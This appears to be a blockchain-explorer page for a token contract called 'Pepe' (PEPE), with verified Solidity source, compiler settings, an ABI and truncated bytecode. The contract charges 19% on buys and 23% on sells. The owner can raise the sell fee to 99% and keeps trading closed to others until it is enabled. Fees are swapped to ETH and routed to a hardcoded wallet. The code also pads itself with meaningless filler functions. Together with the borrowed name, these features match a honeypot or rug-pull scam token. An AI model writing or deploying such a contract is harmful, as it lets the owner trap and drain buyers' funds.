ETH Price: $1,973.56 (+0.25%)
 

Overview

Max Total Supply

1,000,000,000 PEPE

Holders

7

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EthereumContract

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : EthereumContract.sol
// SPDX-License-Identifier: Unlicensed
/**
Pepe
*/

pragma solidity 0.8.26;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface InterfaceLP {
    function sync() external;
}

contract EthereumContract is Ownable, IERC20 {

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;

    string constant _name = unicode"Pepe";
    string constant _symbol = unicode"PEPE";
    uint8 constant _decimals = 9; 
  

    uint256 constant _totalSupply = 1000000000 * 10**_decimals;

    uint256 public _maxTxAmount = _totalSupply / 50;
    uint256 public _maxWalletAmount = _totalSupply / 50;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    
    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;

    uint256 public  buyFee        = 19;
    uint256 public  sellFee       = 23;

    uint256 constant transferFee  = 0;
    
    uint256 private lastSwap;
    address private marketingFeeReceiver;

    IDEXRouter public router;
    InterfaceLP private pairContract;
    address immutable public pair;
    
    bool public TradingOpen = false;    

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply / 100; 
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    event maxLimitsRemoved(uint256 indexed maxWalletToken, uint256 indexed maxTxAmount);
    event exemptFees(address indexed holder, bool indexed exempt);
    event exemptTxLimit(address indexed holder, bool indexed exempt);
    event buyFeeUpdated(uint256 indexed buyFee);
    event sellFeeUpdated(uint256 indexed sellFee);
    event feesWalletUpdated(address indexed marketingFeeReceiver);
    event tradingEnabled(bool indexed enabled, uint256 indexed startTime);
    
    constructor () {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        pairContract = InterfaceLP(pair);
       
        
        _allowances[address(this)][address(router)] = type(uint256).max;

        marketingFeeReceiver = 0x0747c46fDd00404f23f573e39C3aFF59a4BfA876;

        isFeeExempt[msg.sender] = true; 
        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[marketingFeeReceiver] = true;
        isTxLimitExempt[address(this)] = true;
        

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

    }

    receive() external payable { }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) {return owner();}
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        require(spender != address(0), "Spender is the zero address");
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveAll(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(recipient != address(0), "Recipient is the zero address");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(sender != address(0), "Sender is the zero address");
        require(recipient != address(0), "Recipient is the zero address");
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if(currentAllowance != type(uint256).max){
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _allowances[sender][_msgSender()] = currentAllowance - amount;
            }
        }

        return _transferFrom(sender, recipient, amount);
    }
  
    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {

        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(sender != owner()){
            require(TradingOpen,"Trading not open yet");
        
        }
        
        checkTxLimit(sender, amount);
        
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);

        if (sender != owner() && (recipient != address(this)  && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && !isTxLimitExempt[recipient])){
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amountReceived) <= _maxWalletAmount,"Total Holding is currently limited, you can not buy that much.");}

        if(
            lastSwap != block.number &&
            _balances[address(this)] >= swapThreshold &&
            swapEnabled &&
            !inSwap &&
            recipient == pair
        ){ 
            swapBack();
            lastSwap = block.number;
        }

        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amountReceived;

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "Tx Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        uint256 feeAmount = 0;
        uint256 notFeeAmount;

        if(recipient == pair) {
            feeAmount = (amount * sellFee) / 100;
        } else if(sender == pair) {
            feeAmount = (amount * buyFee) / 100;
        }else{
            feeAmount = 0;
        }

        if(feeAmount > 0) {
            _balances[address(this)] += feeAmount;
            emit Transfer(sender, address(this), feeAmount);    
            notFeeAmount = amount - feeAmount;
        } else {
            notFeeAmount = amount;
        }
        return notFeeAmount;
    }

    function setFeeExempt(address wallet, bool exempt) external onlyOwner {
    require(wallet != address(0), "Invalid address");
    isFeeExempt[wallet] = exempt;
    emit exemptFees(wallet, exempt);
    }

    function removeMaxLimits() external onlyOwner { 
        _maxWalletAmount = _totalSupply;
        _maxTxAmount = _totalSupply;
        emit maxLimitsRemoved(_maxWalletAmount, _maxTxAmount);
    }

    function enableTrading() external onlyOwner {
        require(!TradingOpen,"Trading already Enabled.");
        TradingOpen = true;
        lastSwap = block.number;
        emit tradingEnabled(TradingOpen, lastSwap);
    }

    function swapBack() internal swapping {
        uint256 amountToSwap = swapThreshold;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 totalETHFee = address(this).balance;
        
        (bool tmpSuccess1,) = payable(marketingFeeReceiver).call{value: totalETHFee}("");
        require(tmpSuccess1, "Failed to send ether to Marketing Fee Receiver.");

    }

    function exemptAll(address holder, bool exempt) external onlyOwner {
        require(holder != address(0), "Holder is the zero address");
        isFeeExempt[holder] = exempt;
        isTxLimitExempt[holder] = exempt;
        emit exemptFees(holder, exempt);
    }

    function setTxLimitExempt(address holder, bool exempt) external onlyOwner {
        require(holder != address(0), "Holder is the zero address");
        isTxLimitExempt[holder] = exempt;
        emit exemptTxLimit(holder, exempt);
    }


    function updateBuyFee(uint256 _buyFee) external onlyOwner {
        require( _buyFee <= 5, "Fees can not be more than 5%"); 
        buyFee =_buyFee;
        emit buyFeeUpdated(buyFee);
    }

    function updateSellFee(uint256 _sellFee) external onlyOwner {
        require(_sellFee <= 99, "Fees can not be more than 99%"); 
        sellFee =_sellFee;
        emit sellFeeUpdated(_sellFee);
    }

    function updatefeeWallet( address _marketingFeeReceiver) external onlyOwner {
        require(_marketingFeeReceiver != address(0) , "Marketing fee receiver cannot be zero address");
        marketingFeeReceiver = _marketingFeeReceiver;
        emit feesWalletUpdated(marketingFeeReceiver);
    }


    function isDeployer(address wallet) public view returns (bool) {
        return wallet == marketingFeeReceiver;
    }

    uint256 public burnCounter;
    function triggerBurnCounter() public {
        burnCounter++;
    }

        // 1)
    uint256 public TXCounter;
    function incrementTXCounter() public {
        TXCounter++;
    }

    // 2)
    bool public StateFalse;
    function resetAlwaysFalse() public {
        StateFalse = false;
    }

    // 3)
    //uint256 public lastInteraction;
    //function updateLastInteraction() public {
    //    lastInteraction = block.timestamp;
    //}

    // 4) Store the caller’s address
    address public lastCaller;
    function recordLastCaller() public {
        lastCaller = msg.sender;
    }

}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"}],"name":"buyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"holder","type":"address"},{"indexed":true,"internalType":"bool","name":"exempt","type":"bool"}],"name":"exemptFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"holder","type":"address"},{"indexed":true,"internalType":"bool","name":"exempt","type":"bool"}],"name":"exemptTxLimit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"marketingFeeReceiver","type":"address"}],"name":"feesWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"maxWalletToken","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"maxLimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"sellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"enabled","type":"bool"},{"indexed":true,"internalType":"uint256","name":"startTime","type":"uint256"}],"name":"tradingEnabled","type":"event"},{"inputs":[],"name":"StateFalse","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TXCounter","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnCounter","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"exemptAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"incrementTXCounter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isDeployer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastCaller","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recordLastCaller","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeMaxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetAlwaysFalse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"triggerBurnCounter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"}],"name":"updateBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"updatefeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260326100126009600a61049d565b61002090633b9aca006104b3565b61002a91906104ca565b600155603261003b6009600a61049d565b61004990633b9aca006104b3565b61005391906104ca565b60025560136007556017600855600c805461ffff60a01b1916600160a81b17905560646100826009600a61049d565b61009090633b9aca006104b3565b61009a91906104ca565b600d553480156100a957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa15801561014f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017391906104ec565b6001600160a01b03908116608052600b546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa1580156101c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e791906104ec565b6080516040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af1158015610238573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025c91906104ec565b6001600160a01b0390811660a0819052600c80546001600160a01b03199081168317909155306000818152600460209081526040808320600b548816845282528083206000199055600a8054909516730747c46fdd00404f23f573e39c3aff59a4bfa87617855533835260058252808320805460ff19908116600190811790925560069093528184208054841682179055958352808320805483168717905584549096168252858220805482168617905591815293909320805490931690911790915561032b9060099061049d565b61033990633b9aca006104b3565b33600081815260036020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61037a6009600a61049d565b61038890633b9aca006104b3565b60405190815260200160405180910390a3610515565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156103ef578085048111156103d3576103d361039e565b60018416156103e157908102905b60019390931c9280026103b8565b935093915050565b60008261040657506001610497565b8161041357506000610497565b816001811461042957600281146104335761044f565b6001915050610497565b60ff8411156104445761044461039e565b50506001821b610497565b5060208310610133831016604e8410600b8410161715610472575081810a610497565b61047f60001984846103b4565b80600019048211156104935761049361039e565b0290505b92915050565b60006104ac60ff8416836103f7565b9392505050565b80820281158282048414176104975761049761039e565b6000826104e757634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156104fe57600080fd5b81516001600160a01b03811681146104ac57600080fd5b60805160a051611e416105566000396000818161061b01528181611387015281816114ec01528181611713015261175f015260006118970152611e416000f3fe60806040526004361061024a5760003560e01c8063715018a611610139578063a8aa1b31116100b6578063dd62ed3e1161007a578063dd62ed3e146106b9578063de8ca33a146106ff578063f2fde38b14610715578063f6a78e1714610735578063f887ea401461074a578063fb1c37911461076a57600080fd5b8063a8aa1b3114610609578063a9059cbb1461063d578063b2bdfa7b1461065d578063bdbfefb91461067d578063ccf8c0361461069957600080fd5b80638da5cb5b116100fd5780638da5cb5b1461052e5780638ebfc7961461058157806395d89b41146105a1578063a0e47c7d146105ce578063a6d1ef19146105e357600080fd5b8063715018a6146105035780637d1db4a514610518578063893d20e81461052e5780638a8c523c1461054c5780638d7a8ba71461056157600080fd5b8063313ce567116101c757806350c358a41161018b57806350c358a4146104525780635ca30ba2146104815780636c0a24eb146104965780636ddd1713146104ac57806370a08231146104cd57600080fd5b8063313ce567146103d0578063467abe0a146103ec578063470624021461040c578063493977b0146104225780634c99007d1461043c57600080fd5b806318160ddd1161020e57806318160ddd146103265780631d933a4a1461033b5780632113522a1461035d57806323b872dd1461039a5780632b14ca56146103ba57600080fd5b80630445b667146102565780630621472c1461027f57806306fdde03146102af57806308fd3d05146102e5578063095ea7b31461030657600080fd5b3661025157005b600080fd5b34801561026257600080fd5b5061026c600d5481565b6040519081526020015b60405180910390f35b34801561028b57600080fd5b5061029f61029a366004611a2c565b61078a565b6040519015158152602001610276565b3480156102bb57600080fd5b506040805180820190915260048152635065706560e01b60208201525b6040516102769190611a47565b3480156102f157600080fd5b50600c5461029f90600160a01b900460ff1681565b34801561031257600080fd5b5061029f610321366004611a95565b61079e565b34801561033257600080fd5b5061026c61085f565b34801561034757600080fd5b5061035b610356366004611abf565b610880565b005b34801561036957600080fd5b506011546103829061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610276565b3480156103a657600080fd5b5061029f6103b5366004611ad8565b61092e565b3480156103c657600080fd5b5061026c60085481565b3480156103dc57600080fd5b5060405160098152602001610276565b3480156103f857600080fd5b5061035b610407366004611abf565b610aa9565b34801561041857600080fd5b5061026c60075481565b34801561042e57600080fd5b5060115461029f9060ff1681565b34801561044857600080fd5b5061026c600f5481565b34801561045e57600080fd5b5061029f61046d366004611a2c565b600a546001600160a01b0391821691161490565b34801561048d57600080fd5b5061035b610b57565b3480156104a257600080fd5b5061026c60025481565b3480156104b857600080fd5b50600c5461029f90600160a81b900460ff1681565b3480156104d957600080fd5b5061026c6104e8366004611a2c565b6001600160a01b031660009081526003602052604090205490565b34801561050f57600080fd5b5061035b610b6e565b34801561052457600080fd5b5061026c60015481565b34801561053a57600080fd5b506000546001600160a01b0316610382565b34801561055857600080fd5b5061035b610be2565b34801561056d57600080fd5b5061035b61057c366004611b15565b610cba565b34801561058d57600080fd5b5061035b61059c366004611b15565b610d8e565b3480156105ad57600080fd5b506040805180820190915260048152635045504560e01b60208201526102d8565b3480156105da57600080fd5b5061035b610e54565b3480156105ef57600080fd5b5060118054610100600160a81b0319163361010002179055005b34801561061557600080fd5b506103827f000000000000000000000000000000000000000000000000000000000000000081565b34801561064957600080fd5b5061029f610658366004611a95565b610e64565b34801561066957600080fd5b50600054610382906001600160a01b031681565b34801561068957600080fd5b5061035b6011805460ff19169055565b3480156106a557600080fd5b5061035b6106b4366004611b15565b610ec7565b3480156106c557600080fd5b5061026c6106d4366004611b51565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561070b57600080fd5b5061026c60105481565b34801561072157600080fd5b5061035b610730366004611a2c565b610faf565b34801561074157600080fd5b5061035b611099565b34801561075657600080fd5b50600b54610382906001600160a01b031681565b34801561077657600080fd5b5061035b610785366004611a2c565b61112d565b60006107988260001961079e565b92915050565b60006001600160a01b0383166107fb5760405162461bcd60e51b815260206004820152601b60248201527f5370656e64657220697320746865207a65726f2061646472657373000000000060448201526064015b60405180910390fd5b3360008181526004602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350600192915050565b600061086d6009600a611c81565b61087b90633b9aca00611c90565b905090565b6000546001600160a01b031633146108aa5760405162461bcd60e51b81526004016107f290611ca7565b60638111156108fb5760405162461bcd60e51b815260206004820152601d60248201527f466565732063616e206e6f74206265206d6f7265207468616e2039392500000060448201526064016107f2565b600881905560405181907f63d66ef9bcebaeaa6f4eb61e9327d3f4098c923aa98a5fc5326a53f2e145f4f290600090a250565b60006001600160a01b0384166109865760405162461bcd60e51b815260206004820152601a60248201527f53656e64657220697320746865207a65726f206164647265737300000000000060448201526064016107f2565b6001600160a01b0383166109dc5760405162461bcd60e51b815260206004820152601d60248201527f526563697069656e7420697320746865207a65726f206164647265737300000060448201526064016107f2565b6001600160a01b03841660009081526004602090815260408083203384529091529020546000198114610a935782811015610a6a5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016107f2565b6001600160a01b0385166000908152600460209081526040808320338452909152902083820390555b610a9e85858561120d565b9150505b9392505050565b6000546001600160a01b03163314610ad35760405162461bcd60e51b81526004016107f290611ca7565b6005811115610b245760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e206e6f74206265206d6f7265207468616e2035250000000060448201526064016107f2565b600781905560405181907f11953a0453d6e2e337ab856b9de1f4818ffa2a51f3a9c12f924e2a043ae37f6d90600090a250565b600f8054906000610b6783611cdc565b9190505550565b6000546001600160a01b03163314610b985760405162461bcd60e51b81526004016107f290611ca7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c0c5760405162461bcd60e51b81526004016107f290611ca7565b600c54600160a01b900460ff1615610c665760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c726561647920456e61626c65642e000000000000000060448201526064016107f2565b600c805460ff60a01b1916600160a01b9081179182905543600981905560405190929190910460ff161515907f07c24843b569ea20bd3c266fb17047bdd751e44ea3afa2150f231b90bc669f4d90600090a3565b6000546001600160a01b03163314610ce45760405162461bcd60e51b81526004016107f290611ca7565b6001600160a01b038216610d3a5760405162461bcd60e51b815260206004820152601a60248201527f486f6c64657220697320746865207a65726f206164647265737300000000000060448201526064016107f2565b6001600160a01b038216600081815260066020526040808220805460ff191685151590811790915590519092917f5422e85d9bcca047954218b93afb25e9bc2afe9bdc19e7297968b2c919c8377591a35050565b6000546001600160a01b03163314610db85760405162461bcd60e51b81526004016107f290611ca7565b6001600160a01b038216610e005760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064016107f2565b6001600160a01b038216600081815260056020526040808220805460ff191685151590811790915590519092917f4aaa6e45cd52263caf7af003089cdf83d1751392e7edf53c1b5542d94f39734691a35050565b60108054906000610b6783611cdc565b60006001600160a01b038316610ebc5760405162461bcd60e51b815260206004820152601d60248201527f526563697069656e7420697320746865207a65726f206164647265737300000060448201526064016107f2565b610aa233848461120d565b6000546001600160a01b03163314610ef15760405162461bcd60e51b81526004016107f290611ca7565b6001600160a01b038216610f475760405162461bcd60e51b815260206004820152601a60248201527f486f6c64657220697320746865207a65726f206164647265737300000000000060448201526064016107f2565b6001600160a01b0382166000818152600560209081526040808320805486151560ff199182168117909255600690935281842080549093168117909255519092917f4aaa6e45cd52263caf7af003089cdf83d1751392e7edf53c1b5542d94f39734691a35050565b6000546001600160a01b03163314610fd95760405162461bcd60e51b81526004016107f290611ca7565b6001600160a01b03811661103e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146110c35760405162461bcd60e51b81526004016107f290611ca7565b6110cf6009600a611c81565b6110dd90633b9aca00611c90565b6002556110ec6009600a611c81565b6110fa90633b9aca00611c90565b60018190556002546040517fe5ca8724fdb01105b3129a1959a63ecdb2638b93266579bbcca33b66c737faa990600090a3565b6000546001600160a01b031633146111575760405162461bcd60e51b81526004016107f290611ca7565b6001600160a01b0381166111c35760405162461bcd60e51b815260206004820152602d60248201527f4d61726b6574696e67206665652072656365697665722063616e6e6f7420626560448201526c207a65726f206164647265737360981b60648201526084016107f2565b600a805460016001